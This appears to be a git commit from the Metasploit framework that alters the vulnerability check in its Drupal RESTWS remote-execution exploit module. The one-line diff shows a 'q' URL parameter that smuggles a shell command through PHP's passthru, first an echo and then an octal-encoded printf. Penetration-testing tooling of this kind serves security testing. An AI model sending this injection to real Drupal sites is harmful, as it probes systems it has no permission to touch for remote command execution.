Land #7113, check fix for drupal_restws_exec

2016-07-21 14:48:58 -05:00 · 2016-07-21 14:48:58 -05:00 · ec63f8feaf
parent 5b7fc0c275 32f1c83c9e
commit ec63f8feaf
1 changed files with 1 additions and 1 deletions
--- a/modules/exploits/unix/webapp/drupal_restws_exec.rb
+++ b/modules/exploits/unix/webapp/drupal_restws_exec.rb
@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
-        'q' => "taxonomy_vocabulary//passthru/echo #{r}"
+        'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"
      }
    )
    if res && res.body.include?(r)